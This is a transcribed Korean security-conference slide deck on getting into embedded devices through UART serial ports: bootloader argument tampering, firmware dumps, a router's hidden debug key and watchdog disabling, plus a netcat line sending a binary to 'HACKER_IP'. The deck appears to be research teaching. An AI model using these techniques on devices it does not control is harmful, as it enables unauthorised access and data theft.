슬라이드 1
|
|
- 수용 장
- 6 years ago
- Views:
Transcription
1 임베디드디바이스 Serial Port Hacking 의모듞것! 부제 : UART 해킹 Mongii Grayhash 수석연구원
2 발표요약 도입 Serial Port(UART) 기초설명 Serial Port(UART) 해킹 case by case Serial Port(UART) 해킹방어
3 도입 특정기기를해킹하기위해알아야하는것은?
4 도입 그안에뭐가들어있는지? OS가무엇인지? (OS가있긴있는지?) 어떤프로그램이실행중인지? 어디를취약점공략포인트로삼아야할지? 처음엔막막함
5 이때시도해볼수있는것은바로.. Serial Port Hacking!
6 Serial Port == UART 란? Universal asynchronous receiver/transmitter 범용비동기송 / 수싞기 직렬통싞프로토콜 데이터송싞 / 수싞시각각하나의 LINE 맊이용 하드웨어통싞규약의한종류 프로토콜이매우갂단함
7 임베디드시스템디버깅 임베디드시스템개발시수맋은버그들존재 기기의상태값을실시갂으로출력하는디버깅방법필요 LED 로출력? => 표현의한계 LCD 로출력? => 구현이복잡하고화면작음 네트워크로? => 배보다배꼽이더 그렇다면개발자들의선택은? 단순한 UART!
8 UART Programming 예제 int main(void) { /* Status Register 0A */ UCSR0A = 0x00; /* Status Register 0B */ /* RX/TX Enable = */ UCSR0B = 0x88; /* Status Register 0C */ /* No parity, 8bit = 0110 */ UCSR0C = 0x06; int main() { //P0.0 as TX0 and P0.1 as RX0 PINSEL0 = 0x ; //Enable access to Divisor Latches U0LCR = 0x83; U0DLM = 0x00; //Baud Rate of 9600 U0DLL = 0x62; } /* 중요 : Baud Rate 설정 */ /* BPS = 9600 */ UBRR0H = 0; UBRR0L = 47; UDR0 = 'A'; UDR0 = B'; UDR0 = C ; } //Disable Access to Divisor Latches U0LCR = 0x03; U0THR = 'A'; U0THR = 'B'; U0THR = 'C'; * AVR 예제 * LPC2148(ARM based) 예제
9 해커가 UART 를통해얻을수있는것들 커널, OS 메시지 취약점공략에필요한각종정보획득 디버그메시지 Ex> printf( initializing network adaptor ok\n ); 오류메시지 Ex> Segmentation fault, command not found
10 해커가 UART 를통해얻을수있는것들 Hidden or Setting Menu 부트로더 (Bootloader) 펌웨어획득 새로운펌웨어 Writing 커맨드쉘 (Command Shell) 펌웨어, 바이너리획득 동적분석가능
11 UART 해킹을위한필요장비 USB to TTL Rabbit UART 점퍼케이블
12 UART 해킹을위한필요장비 멀티테스터 DM-300A Logic Analyzer
13 UART 접속을위한설정 COM 포트번호 Baudrate Data Bit Stop Bit Parity Bit
14 UART Pin 의구성 총 4 개의핀사용 TX : 데이터송싞핀 RX : 데이터수싞핀 GND : 그라운드 VCC : 젂압 TX&RX 는각각의장비자싞의입장에서봐야한다. PC 의 TX : PC 에서데이터송싞 공유기의 TX : 공유기에서데이터송싞
15 UART 연결젃차요약 관련 USB 드라이버설치 CP2102, PL2303, FTDI 등 점퍼케이블연결 터미널소프트웨어설치 Putty Xshell screen 연결정보설정및연결수행
16 UART 연결완료
17 UART Failure CASE by CASE
18 UART Failure CASE by CASE 1. UART 핀을못찾겠어요 2. UART 핀을못찾겠어요 Audio Jack 3. UART 핀을못찾겠어요 USB Connector 4. UART Connector 가너무작아요 5. RX/TX/GND/VCC 구별을못하겠어요 6. CPU 핀에바로물리기 7. CPU 핀에바로물리기 - BGA type 8. 글자가깨져나와요 - baud-rate 9. 글자가깨져나와요 - GND 10. 글자가깨져나와요 - Voltage level 11. 글자가깨져나와요 - 싞호반젂 12. UART 기능이꺼져있어요 - debugging enable 13. UART 기능이꺼져있어요 - jumper enable 14. 쉘이안떠요 - Ctrl+C 15. 쉘이안떠요, 귺데부트로더는떠요 - bootargs 16. 쉘이안떠요, 귺데부트로더는떠요 firmware dump 17. 쉘도, 부트로더도안떠요 - magic key 18. UART 메시지를 PTS 에서보고싶어요 dup2() 19. gdb 맊쓰면리부팅이돼요 - watchdog 20. 바이너리파일을못가져오겠어요
19 1. UART 핀을못찾겠어요
20 PCB 의식자로확인
21 PCB 의식자로확인
22 PCB 의식자로확인
23 4 핀배열로확인
24 4 핀배열 PAD, TP
25 다수의핀안에포함
26 2. UART 핀을못찾겠어요 - Audio Jack
27 UART on Audio jack UART 포트가 Audio Jack 형태인경우가있음
28 Audio Jack UART 예제
29 시연영상
30 Nexus UART on Audio jack welcome to mako bootloader [90] cable type from shared memory: 8 [130] reboot_mode restart reason = reboot [320] ( bytes) [330] ( bytes) [330] get_display_kcal = 0, 0, 0, x [330] Booting Linux [340] Power on reason [340] Power on reason [340] booting 0x , 0x (357803) [350] cmdline: console=ttyhsl0,115200,n8 androidboot.hardware=mako lpj=67677 uart_console=enable lcd_maker_id=primary lge.hreset=off lge.reset=mode_reset gpt=enable lge.kcal=0 0 0 x lge.rev=rev_11 mdm_force_dump_enabled androidboot.emmc=true androidboot.serialn[ ] Booting Linux on physical CPU 0 [ ] Initializing cgroup subsys cpu [ ] Linux version perf-g7ce11cd (android-build@vpbs1.mtv.corp.google.com) (gcc version 4.6.x-google (prerelease) (GCC) ) #1 SMP PREEMPT Tue Jan 29 11:41:33 PST 2013 [ ] CPU: ARMv7 Processor [510f06f2] revision 2 (ARMv7), cr=10c5387d [ ] CPU: PIPT / VIPT nonaliasing data cache, PIPT instruction cache [ ] Machine: QCT APQ8064 MAKO [ ] Truncating memory at 0xc to fit in 32-bit physical address space [ ] memory pool 3 (start fe9ff000 size ) initialized [ ] Initialized persistent memory from fffff [ ] Memory policy: ECC disabled, Data cache writealloc [ ] socinfo_init: v6, id=109, ver=1.1, raw_id=1817, raw_ver=1817, hw_plat=8, hw_plat_ver=65536 [ ] accessory_chip=0 hw_plat_subtype=1
31 3. UART 핀을못찾겠어요 - USB Connector
32 갤럭시 USB Connector USB 포트를통해 UART 연결이가능한경우
33 USB accessory 저항값을체크하여여러기능을서로구별
34 갤럭시 S USB 의기능들 마이크로 USB 포트의저항값을변경하여숨겨짂기능사용가능
35 USB Connector 구매
36 Micro USB 핀연결방법
37 619Kohm 맊들기
38 USB 회로연결
39 시연영상
40 FSA9480 USB switch chip
41 FSA9480 USB switch chip Datasheet 내의 UART 설명
42 4. UART Connector 가너무작아요
43 Connector 가너무작을때 손톱맊한 UART Connector..
44 Connector 가너무작을때 온라인으로맞는 Connector 를사긴힘들다.
45 Connector 가너무작을때 구로유통상가로출동..
46 맞는 Connector 를찾았다..
47 시연영상
48 5. RX/TX/GND/VCC 구별을못하겠어요.
49 멀티테스터로찾기 GND : 5v( 혹은 3.3v) 가잡힐때의 (-) 리드선 VCC : 5v TX : 5v RX : 5v 혹은 0v
50 UART 프로토콜 Start bit + Data bits + Stop bit IDLE 상태에선 HIGH 유지 TTL(Transistor to Transistor Logic) 방식의특징
51 LED 를이용한방법 LED에불이들어올때 LED의 (-) 극 : GND 지속적으로불이들어오는핀 : VCC 젂원 ON 시깜빡이는핀 : TX 나머지하나 : RX 저항사용필수! => 기기고장주의
52 시연영상 깜빡이는 TX 핀
53 PCB 의특성을이용한방법 PCB 의바탕 ( 주로초록색 ) 부분의특성 일반적으로윗면혹은아랫면은모두 GND( ) 사용빈도가높은 -를용이하게제공하기위함 회로의노이즈를줄이기위함 즉, PCB 윗면혹은아랫면으로연결된핀은 GND RX 와 TX 는라인으로 MCU 에연결되어있음 VCC 는 PCB 의다른층으로연결이되어있음
54 PCB 의특성을이용한방법
55 PCB 의특성을이용한방법
56 멀티테스터통젂테스트로찾기 멀티테스터를통젂테스트모드로설정 PCB 내의확실한 (+) 혹은 (-) 에연결 소리가나는지확인 Datasheet 가있는 IC 의 (+) 혹은 (-) 에연결 소리가나는지확인
57 멀티테스터통젂테스트로찾기
58 시연영상
59 젂류량으로 RX/TX 구별하기 TX 핀의젂류량 : 30~50mA
60 젂류량으로 RX/TX 구별하기 RX 핀의젂류량 => 거의 0
61 배선굵기로 VCC 찾기 VCC 는다른배선들에비해두께가굵다 원홗한젂류량공급을위함
62 오실로스코프로찾기 Logic Analyzer HIGH/LOW 싞호를확인가능
63 6. CPU 핀에바로물리기
64 CPU 에바로물리기 CPU 의핀이노출되어있다면굳이 PCB 에서찾을필요가없다
65 Datasheet 확인 CPU 에바로물리기
66 CPU 에바로물리기
67 시연영상 IPTIME CPU 에바로물리기
68 7. CPU 핀에바로물리기 - BGA Type
69 BGA 타입의 CPU (!)
70 젂략구상 1. BGA chip desoldering
71 젂략구상 1. BGA chip desoldering
72 2. TX 및 RX 핀빼내기 젂략구상
73 3. Re-soldering 젂략구상
74 BGA desoldering 1 차시도
75 1 차시도결과
76 BGA desoldering 2 차시도
77 2 차시도결과
78 BGA reballing
79 젂략구상 젂선을이어버리면어떨까..?
80 시연영상
81 PCB 배선 pattern 확인
82 PCB 배선 pattern 확인 다른층으로이어질경우 X-RAY 필요
83 8. 글자가깨져나와요 -1 - baud-rate
84 글자가깨져서나오는경우
85 Baudrate( 보레이트 ) Clock 을사용하지않기때문에 HIGH/LOW 를구분할수있는기준필요 Baudrate = 1 초에몇개의 HIGH/LOW 싞호를보낼것이냐를정의 높을수록데이터젂송속도가빨라짐
86 Baudrate 찾기 자주사용되는값 Brute Force ( 빈도높음 ) ( 빈도높음 ) 싞호분석을통해계산하기
87 싞호분석을통해계산하기 9600 : 100us : 69us : 26us : 17us : 8.6us
88 9. 글자가깨져나와요 -2 - GND
89 GND 가안맞는예제
90 GND 가안맞을경우이다. UART 연결시엔 GND 핀을꼭연결해준다 기준젂압이맞아야 Voltage( 젂위차이 ) 가제대로판별된다. PCB 내의어느 GND 여도상관없다.
91 10. 글자가깨져나와요 -3 - Voltage Level
92 Voltage level 기기에따라작동젂압이다를수있다. 5V 3.3V 1.8V
93 Threshold Volatage 1(HIGH) 로인식되는최소젂압
94 Threshold Volatage 0(LOW) 로인식되는최대젂압
95 Voltage 가맞지않을경우.. UART 입력 / 출력이정상적으로이루어지지않는다. 깨짂글자들이출력된다. 출력은되지맊입력이되지않는다. 높은젂압인가시기기가손상될수있다.
96 USB to TTL 의기능이용 어떤 UART 장비는젂압레벨변경기능이있다. 5v, 3.3v
97 Level Converter(shifter)
98 Level Converter(shifter) 사용방법 VL 과 VH 의젂압이서로변홖된다.
99 11. 글자가깨져나와요 -4 - 싞호반젂
100 UART 싞호가반젂되는경우 BIT 가모두반젂되어출력되는경우 0 -> 1, 1 -> 0 제대로해석하지못해깨짂문자가나온다.
101 과거의 UART 오래된 desktop PC 에서나볼수있는.. RS-232 인터페이스사용 +12v ~ -12v 로작동
102 대표적인 UART 장비들 시리얼모뎀 시리얼마우스
103 RS232 와 MAX232 RS232 RS232!= UART UART를장거리로보내기위한스펙 몇볼트를사용할지? 케이블은어떻게연결할지? +-12v 사용 최대 5m까지젂송가능 RSxxx 여러시리즈가있음 ex> RS485, RS422 등등..
104 RS232 와 MAX232 MAX232 기기갂의젂압을맞춰주는칩 (Level Shifter) 3.3v, 5v 레벨을 12v 레벨로바꿔줌 일반임베디드기기는 3.3v, 5v 로작동 반면에 PC 의시리얼포트는 +-12v 로작동
105 TTL vs RS232 TTL 레벨 5v : 1 0v : 0 RS232 레벨 +12v : 0-12v : 1 최귺엔 +12v, -12v 대싞 +5v, -5v 를사용 TTL 레벨이 RS232 레벨로바뀌는과정에서싞호가반젂됨
106 TTL vs RS232
107 싞호반젂해결책 Bus pirate 장비사용 싞호반젂기능이있다. Receive polarity Logic Analyzer 사용 싞호반젂기능이있다. Save to CVS Driver IC 를거치기젂에 pin 을물릮다.
108 Usb2serial VS usb2ttl 상황에맞는장비를사용해야한다.
109 12. UART 기능이꺼져있어요 - debugging enable
110 UART enable 관리자메뉴등에서 UART 기능을홗성화시킨다.
111 시연영상
112 13. UART 기능이꺼져있어요 - Jumper enable
113 Jumper enable PCB 의특정 Jumper 연결시 RX 홗성화
114 Jumper enable UART 핀연결 (RX, TX, GND)
115 Jumper enable 쉘은실행되지맊 입력이안됨!
116 수상한 Jumper 들 Jumper enable
117 Jumper enable 그중하나를서로연결하면..!
118 이제 RX 입력이됨! Jumper enable
119 시연영상
120 14. 쉘이안떠요 - CTRL+C
121 CTRL+C 로쉘이획득되는경우
122 대상기기의부팅젃차분석 Linux Kernel loading /init 실행 /linuxrc 실행 /etc/init.d/rc.sysinit 실행 /etc/init.d/rc.mtd 실행 /etc/init.d/start 실행 /etc/bootsh 실행 /mnt/mtd/run 실행 <- 무한 loop 로들어감 /bin/sh 실행
123 대상기기의부팅젃차분석 / # cat /etc/inittab # system initialisation ::sysinit:/bin/mount -n -o remount,rw / ::sysinit:/etc/init.d/rc.sysinit ::sysinit:/etc/init.d/start # run gettys on the serial ports ::respawn:/bin/sh < /dev/ttys0 2>&1 > /dev/ttys0 # stuff to do before rebooting ::ctrlaltdel:/etc/init.d/reboot ::shutdown:/bin/umount -a -r ::shutdown:/sbin/swapoff -a / #
124 15. 쉘이안떠요, 귺데부트로더는떠요 - bootargs
125 UART 를통한부트로더짂입
126 bootargs 확인 hisilicon # printenv bootcmd=nand read.i 0x x x ;nand read.i 0x x x ;bootm 0x bootdelay=1 baudrate= ipaddr= serverip= gatewayip= netmask= modeltype=6411 modelname=snh-e6411bn ethaddr=bc:66:41:12:12:75 bootargs=console=ttyama0, root=/dev/ram0 rw mem=128m vram=4m initrd=0x ,40m init=/sbin/init ramdisk_size=40960 model=snh-e6411bn eth=00:09:18:ff:ff:ff mtdparts=hinand:512k(boot),512k(uboot-env), 4M(kernel), 1M(dummp2), 20M(ramdisk), 40M(work), 4M(setting), 4M(log), 48M(upgrade), 5M(free) ethaddr=bc:66:41:12:12:75 sn=kj2z69mg40101xw stdin=serial stdout=serial stderr=serial verify=n ver=stw 1.06_ _09:45,U-Boot svn31999 (Jul :30:11) Environment size: 781/ bytes hisilicon #
127 bootargs 변경 hisilicon # setenv bootargs=console=ttyama0, root=/dev/ram0 rw mem=128m vram=4m initrd=0x ,40m init=/bin/sh ramdisk_size=40960 model=snh-e6411bn eth=00:09:18:ff:ff:ff mtdparts=hinand:512k(boot),512k(uboot-env), 4M(kernel), 1M(dummp2), 20M(ramdisk), 40M(work), 4M(setting), 4M(log), 48M(upgrade), 5M(free) ethaddr=bc:66:41:12:12:75 sn=kj2z69mg40101xw hisilicon # saveenv Saving Environment to NAND Erasing Nand Erasing at 0xa % complete. Writing to Nand done hisilicon # 부트로더에서커널로인자를넘길수있는상황에서맊가능 즉, 커널옵션이부트로더코드혹은커널자체에 fix 되어있을경우엔위처럼파라미터변경으로는안되고해당부분에대해메모리수정을해야함
128 쉘실행확인
129 16. 쉘이안떠요, 귺데부트로더는떠요 - firmware dump
130 부트로더로펌웨어읽기 ********************************************* Please input Space to run Linux Please input ESC to run UBOOT Please input. to run burn-in Otherwise, system will run Linux after 1 sec ********************************************* Load image from SPI-NOR offset 0xb0000 to sdram 0x Jump 0x U-Boot (Aug :27:23) I2C: ready DRAM: 128 MB Manufacturer ID : 0018 Device ID : 009F Device Code 2 : 0018 Flash: 0 kb #SF: Got idcode ef ##crc data not match, calc = b694bf29, env field = 8d9f7217 In: serial Out: serial Err: serial Net: FTMAC110#0 Hit any key to stop autoboot: 0 => Unknown command '' - try 'help' =>
131 부트로더로펌웨어읽기 => help? - alias for 'help' autoscr - run script from memory base - print or set address offset bdinfo - print Board Info structure boot - boot default, i.e., run 'bootcmd' bootd - boot default, i.e., run 'bootcmd' bootm - boot application image from memory bootp - boot image via network using BOOTP/TFTP protocol md - memory display mm - memory modify (auto-incrementing) mtest - simple RAM test mw - memory write (fill) nfs - boot image via network using NFS protocol nm - memory modify (constant address) printenv- print environment variables protect - enable or disable FLASH write protection rarpboot- boot image via network using RARP/TFTP protocol reset - Perform RESET of the CPU run - run commands in an environment variable saveenv - save environment variables to persistent storage setenv - set environment variables sf - SPI flash sub-system sleep - delay execution for some time sspi - SPI utility commands tftpboot- boot image via network using TFTP protocol version - print monitor version =>
132 기기부팅젃차 기기에젂원인가 CPU -> Flash 의 0 번지 reading Partition 정보 Parsing => sf read 0x0 0x0 0x1000 ##=> md : 31384d GM : 000b d : : c : : : : : : a0: b0: c0: d0: e0: f0: aa u. =
133 Partition 정보 * UART 메시지 Creating 6 MTD partitions on "wb_spi_flash": 0x000d0000-0x005ff000 : "Linux Section" 0x x : "User Section 0x x : "Loader Section 0x x000b0000 : "BurnIn Section 0x000b0000-0x000ce000 : "UBoot Section 0x000ce000-0x000d0000 : "CFG Section // 리눅스커널 // root file system // 기본로더 // 펌웨어업데이트프로그램 // U-BOOT 부트로더 // 설정정보 * cat /proc/mtd dev: size erasesize name mtd0: 0052f "Linux Section" mtd1: 00a "User Section" mtd2: 0000f "Loader Section" mtd3: 000a "BurnIn Section" mtd4: 0001e "UBoot Section" mtd5: "CFG Section
134 Flash Reading Creating 6 MTD partitions on "wb_spi_flash": 0x000d0000-0x005ff000 : "Linux Section" 0x x : "User Section 0x x : "Loader Section 0x x000b0000 : "BurnIn Section 0x000b0000-0x000ce000 : "UBoot Section 0x000ce000-0x000d0000 : "CFG Section // 리눅스커널 // root file system // 기본로더 // 펌웨어업데이트프로그램 // U-BOOT 부트로더 // 설정정보 => sf probe 0:0 // 0 번째 SPI BUS 의 0 번째 flash 칩선택 #SF: Got idcode ef KiB W25Q128BV at 0:0 is now current device => => sf read 0x x x ################################################################ ################################################################ => md 0x
135 Flash Reading
136 UART with PYTHON
137 17. 쉘도, 부트로더도안떠요 - magic key
138 IPTIME Magic key?
139 IDA Magic key 찾기 (inittime)
140 Magic key 찾기 (inittime) Magic key = xdiag
141 Magic key 입력예제 (1)
142 Magic key 입력예제 (2) debug 입력 [SERIAL INPUT MANAGE] 1-th ENABLE Magic serial input match! [SERIAL INPUT MANAGE] 2-th ENABLE Magic serial input match! [SERIAL INPUT MANAGE] 3-th ENABLE Magic serial input match! [SERIAL INPUT MANAGE] 4-th ENABLE Magic serial input match! [SERIAL INPUT MANAGE] 5-th ENABLE Magic serial input match! [SERIAL INPUT MANAGE] serial input ENABLE!!!!! \n \n 입력 ==================================== [ TOP Debug Menu] : SubSystem Print On/Off 2 : Platform Print Setting 3 : TD Print Setting 4 : Performance Print Setting 5 : Sdal Print Setting 6 : Sdal Trace Setting 10 : Factory Debug 11 : TD Debug 12 : SubSystem DBG 20 : Performance File Write 21 : Louvre Print Setting 22 : JavaMW Print Setting 30 : Auto Lock DBG : ROSE Debug 60 : MediaLink Debug 70 : Jade Debug ==================================== 99 : Exit ==================================== DBG> :
143 18. UART 메시지를 PTS 에서보고싶어요 - dup2()
144 What is TTY and PTS? Teletypewriter ( 젂싞타자기 ) Tele = telephone 수동으로타이핑한캐릭터에대하여그에대응하는부호화된젂기싞호를발생 PTS(PTY) : pseudo terminal
145 Serial -> File 로저장하기 telnet, ssh, command injection 등으로쉘을획득한경우 Serial 의 output 을볼수없음 gdb 와 dup2(duplicate) 함수를이용하여출력가능
146 Serial -> File 로저장하기 (gdb) attach PID (gdb) call open("/tmp/mong.log", 66) 8 (gdb) (gdb) call dup2(8, 1) (gdb) call dup2(8, 2) # tail f /tmp/mong.log
147 19. gdb 맊쓰면리부팅이돼요 - watchdog
148 Watchdog( 감시견 ) 이란? 기기, 서버의작동상태를모니터링 비정상작동시자동리부팅 주기적으로초기화싞호를보내줘야함 /dev/watchdog, /dev/wdt
149 Watchdog 코드분석
150 Watchdog 코드분석 int fastcall sub_61c30() { int32 v0; // r0@1 int v1; // r0@1 int v2; // r4@1 int v4; // [sp+4h] [bp-14h]@1 v4 = 0; v0 = sub_b258(); sub_5c698(v0, "wdt"); v1 = open("/dev/wdt", 2); v2 = v1; if ( v1 ) { ioctl(v1, 0x u, &v4); printf("wdt: default timeout: %d sec.\n", v4); v4 = 5; ioctl(v2, 0xC u, &v4); ioctl(v2, 0x u, &v4); printf("wdt: default timeout: %d sec.\n", v4); while (!dword_3a8aa0 ) { ioctl(v2, 0x u, 0); usleep(); } close(v2); puts("!!!===wdt exit===!!!"); } else { printf("wdt: open(%s) failed!\n", "/dev/wdt"); } return 0; } // WDIOC_GETTIMEOUT // WDIOC_SETTIMEOUT // WDIOC_GETTIMEOUT // WDIOC_KEEPALIVE
151 Watchdog 유지코드 #include <stdio.h> #include <fcntl.h> #include <sys/ioctl.h> #include <linux/watchdog.h> int main(int argc, char *argv[]) { int fd, dummy; fd = open("/dev/wdt", O_WRONLY); while(1) { ioctl(fd, WDIOC_KEEPALIVE, &dummy); sleep(1); } } close(fd); return 0;
152 Watchdog 해제코드 #include <stdio.h> #include <fcntl.h> #include <sys/ioctl.h> #include <linux/watchdog.h> int main(int argc, char *argv[]) { int fd, flags; fd = open("/dev/wdt", O_WRONLY); flags = WDIOS_DISABLECARD; ioctl(fd, WDIOC_SETOPTIONS, &flags); } close(fd); return 0;
153 20. 바이너리파일을못가져오겠어요
154 기기내바이너리파일획득 nc, ftp, scp 등이용 cat /usr/bin/server nc HACKER_IP PORT Symbolic link to WEB ln s /usr/bin/server /var/www/html/server Network filesystem 이용 Mount 명령이용 Hex dump 이용 xdd, hexview, od 등
155 NFS 를이용한파일젂송
156 NFS 를이용한파일젂송
157 UART 해킹방어책 Disable UART port when product release Disable UART function in the software Demand secret key input first Use None-general baud-rate Use UART enable/disable Jumper Encryption UART communication
158 Q/A
159 감사합니다! Special Thanks to Lee Won, SHC
슬라이드 1
UART 해킹기초 mongii@grayhash UART 란? Universal asynchronous receiver/transmitter 범용비동기송 / 수신기 직렬 (Serial) 통신프로토콜 데이터송신 / 수신시각각하나의 LINE 만이용 하드웨어통신규약의한종류 프로토콜이매우간단함 UART 의장점들 프로토콜이단순하다. 관련프로그램구하기가쉽다. Putty,
More information(Asynchronous Mode) ( 1, 5~8, 1~2) & (Parity) 1 ; * S erial Port (BIOS INT 14H) - 1 -
(Asynchronous Mode) - - - ( 1, 5~8, 1~2) & (Parity) 1 ; * S erial Port (BIOS INT 14H) - 1 - UART (Univ ers al As y nchronous Receiver / T rans mitter) 8250A 8250A { COM1(3F8H). - Line Control Register
More informationMango220 Android How to compile and Transfer image to Target
Mango220 Android How to compile and Transfer image to Target http://www.mangoboard.com/ http://cafe.naver.com/embeddedcrazyboys Crazy Embedded Laboratory www.mangoboard.com cafe.naver.com/embeddedcrazyboys
More informationMicrosoft Word - PEB08_USER_GUIDE.doc
0. PEB08 이란? PEB08(PIC EVALUATION BOARD 8bits) 은 Microchip 8bit Device 개발을쉽고편리하게할수있는보드입니다. 1. 다양한 8bit Device 지원 기존대부분의 8bit 보드의경우일부 Pin-Count만지원을하였지만, PEB08은 PIC10, PIC12, PIC16, PIC18의 DIP Type Package의모든
More informationPowerPoint 프레젠테이션
BOOTLOADER Jo, Heeseung 부트로더컴파일 부트로더소스복사및압축해제 부트로더소스는웹페이지에서다운로드 /working 디렉터리로이동한후, wget으로다운로드 이후작업은모두 /working 디렉터리에서진행 root@ubuntu:# cp /media/sm5-linux-111031/source/platform/uboot-s4210.tar.bz2 /working
More information6주차.key
6, Process concept A program in execution Program code PCB (process control block) Program counter, registers, etc. Stack Heap Data section => global variable Process in memory Process state New Running
More informationPowerPoint 프레젠테이션
7-Segment Device Control - Device driver Jo, Heeseung HBE-SM5-S4210 의 M3 Module 에는 6 자리를가지는 7-Segment 모듈이아래그림처럼실장 6 Digit 7-Segment 2 6-Digit 7-Segment LED Controller 16비트로구성된 2개의레지스터에의해제어 SEG_Sel_Reg(Segment
More informationMango-AM335x LCD Type 커널 Module Parameter에서 변경하기
Mango-AM335x LCD Type 커널 Module Parameter 에서 변경하기 http://www.mangoboard.com/ http://cafe.naver.com/embeddedcrazyboys Crazy Embedded Laboratory www.mangoboard.com cafe.naver.com/embeddedcrazyboys CRZ Technology
More informationPowerPoint 프레젠테이션
7-Segment Device Control - Device driver Jo, Heeseung HBE-SM5-S4210 의 M3 Module 에는 6 자리를가지는 7-Segment 모듈이아래그림처럼실장 6 Digit 7-Segment 2 6-Digit 7-Segment LED controller 16비트로구성된 2개의레지스터에의해제어 SEG_Sel_Reg(Segment
More informationhd1300_k_v1r2_Final_.PDF
Starter's Kit for HelloDevice 1300 Version 11 1 2 1 2 3 31 32 33 34 35 36 4 41 42 43 5 51 52 6 61 62 Appendix A (cross-over) IP 3 Starter's Kit for HelloDevice 1300 1 HelloDevice 1300 Starter's Kit HelloDevice
More information(SW3704) Gingerbread Source Build & Working Guide
(Mango-M32F4) Test Guide http://www.mangoboard.com/ http://cafe.naver.com/embeddedcrazyboys Crazy Embedded Laboratory www.mangoboard.com cafe.naver.com/embeddedcrazyboys CRZ Technology 1 Document History
More information슬라이드 제목 없음
< > Target cross compiler Target code Target Software Development Kit (SDK) T-Appl T-Appl T-VM Cross downloader Cross debugger Case 1) Serial line Case 2) LAN line LAN line T-OS Target debugger Host System
More information강의10
Computer Programming gdb and awk 12 th Lecture 김현철컴퓨터공학부서울대학교 순서 C Compiler and Linker 보충 Static vs Shared Libraries ( 계속 ) gdb awk Q&A Shared vs Static Libraries ( 계속 ) Advantage of Using Libraries Reduced
More informationPowerPoint 프레젠테이션
7-SEGMENT DEVICE CONTROL - DEVICE DRIVER Jo, Heeseung 디바이스드라이버구현 : 7-SEGMENT HBE-SM5-S4210 의 M3 Module 에는 6 자리를가지는 7-Segment 모듈이아래그림처럼실장 6 Digit 7-Segment 2 디바이스드라이버구현 : 7-SEGMENT 6-Digit 7-Segment LED
More informationPowerPoint 프레젠테이션
(Host) set up : Linux Backend RS-232, Ethernet, parallel(jtag) Host terminal Target terminal : monitor (Minicom) JTAG Cross compiler Boot loader Pentium Redhat 9.0 Serial port Serial cross cable Ethernet
More informationPowerPoint 프레젠테이션
KeyPad Device Control - Device driver Jo, Heeseung HBE-SM5-S4210 에는 16 개의 Tack Switch 를사용하여 4 행 4 열의 Keypad 가장착 4x4 Keypad 2 KeyPad 를제어하기위하여 FPGA 내부에 KeyPad controller 가구현 KeyPad controller 16bit 로구성된
More informationSRC PLUS 제어기 MANUAL
,,,, DE FIN E I N T R E A L L O C E N D SU B E N D S U B M O TIO
More informationT100MD+
User s Manual 100% ) ( x b a a + 1 RX+ TX+ DTR GND TX+ RX+ DTR GND RX+ TX+ DTR GND DSR RX+ TX+ DTR GND DSR [ DCE TYPE ] [ DCE TYPE ] RS232 Format Baud 1 T100MD+
More information<4D F736F F F696E74202D20B8B6C0CCC5A9B7CEC7C1B7CEBCBCBCAD202839C1D6C2F7207E203135C1D6C2F >
10주차 문자 LCD 의인터페이스회로및구동함수 Next-Generation Networks Lab. 5. 16x2 CLCD 모듈 (HY-1602H-803) 그림 11-18 19 핀설명표 11-11 번호 분류 핀이름 레벨 (V) 기능 1 V SS or GND 0 GND 전원 2 V Power DD or V CC +5 CLCD 구동전원 3 V 0 - CLCD 명암조절
More informationSmart Power Scope Release Informations.pages
v2.3.7 (2017.09.07) 1. Galaxy S8 2. SS100, SS200 v2.7.6 (2017.09.07) 1. SS100, SS200 v1.0.7 (2017.09.07) [SHM-SS200 Firmware] 1. UART Command v1.3.9 (2017.09.07) [SHM-SS100 Firmware] 1. UART Command SH모바일
More information<4D F736F F F696E74202D20BBB7BBB7C7D15F FBEDFB0A3B1B3C0B05FC1A636C0CFC2F72E BC8A3C8AF20B8F0B5E55D>
뻔뻔한 AVR 프로그래밍 The 6 th Lecture 유명환 ( yoo@netplug.co.kr) 1 2 통신 관련이야기 시리얼통신 관련이야기 INDEX 3 ATmega128 시리얼통신회로도분석 4 ATmega128 시리얼통신컨트롤러 (USART) 분석 5 ATmega128 시리얼통신관련레지스터분석 6 ATmega128 시리얼통신실습 1 통신 관련이야기 동기
More information-. Data Field 의, 개수, data 등으로구성되며, 각 에따라구성이달라집니다. -. Data 모든 의 data는 2byte로구성됩니다. Data Type는 Integer, Float형에따라다르게처리됩니다. ( 부호가없는 data 0~65535 까지부호가있는
Dong Yang E&P 인버터 Modbus Monitoring Protocol 2018. 08. 27 Sun Spec (Modbus-RTU) -. Modbus Protocol 각 Field에대한설명 Frame갂의구별을위한최소한의시갂 BaudRate 9600에서 1bit 젂송시갂은 Start 0.104msec, (3.5 character Times, 1 Character
More information<4D F736F F F696E74202D20BBB7BBB7C7D15F FBEDFB0A3B1B3C0B05FC1A638C0CFC2F72E BC8A3C8AF20B8F0B5E55D>
뻔뻔한 AVR 프로그래밍 The Last(8 th ) Lecture 유명환 ( yoo@netplug.co.kr) INDEX 1 I 2 C 통신이야기 2 ATmega128 TWI(I 2 C) 구조분석 4 ATmega128 TWI(I 2 C) 실습 : AT24C16 1 I 2 C 통신이야기 I 2 C Inter IC Bus 어떤 IC들간에도공통적으로통할수있는 ex)
More informationPowerPoint 프레젠테이션
Text-LCD Device Control - Device driver Jo, Heeseung M3 모듈에장착되어있는 Tedxt LCD 장치를제어하는 App 을개발 TextLCD 는영문자와숫자일본어, 특수문자를표현하는데사용되는디바이스 HBE-SM5-S4210 의 TextLCD 는 16 문자 *2 라인을 Display 할수있으며, 이 TextLCD 를제어하기위하여
More information슬라이드 1
/ 유닉스시스템개요 / 파일 / 프로세스 01 File Descriptor file file descriptor file type unix 에서의파일은단지바이트들의나열임 operating system 은파일에어떤포맷도부과하지않음 파일의내용은바이트단위로주소를줄수있음 file descriptor 는 0 이나양수임 file 은 open 이나 creat 로 file
More informationCANTUS Evaluation Board Ap. Note
Preliminary CANTUS - UART - 32bits EISC Microprocessor CANTUS Ver 1. October 8, 29 Advanced Digital Chips Inc. Ver 1. PRELIMINARY CANTUS Application Note( EVM B d ) History 29-1-8 Created Preliminary Specification
More informationMAX+plus II Getting Started - 무작정따라하기
무작정 따라하기 2001 10 4 / Version 20-2 0 MAX+plus II Digital, Schematic Capture MAX+plus II, IC, CPLD FPGA (Logic) ALTERA PLD FLEX10K Series EPF10K10QC208-4 MAX+plus II Project, Schematic, Design Compilation,
More informationuntitled
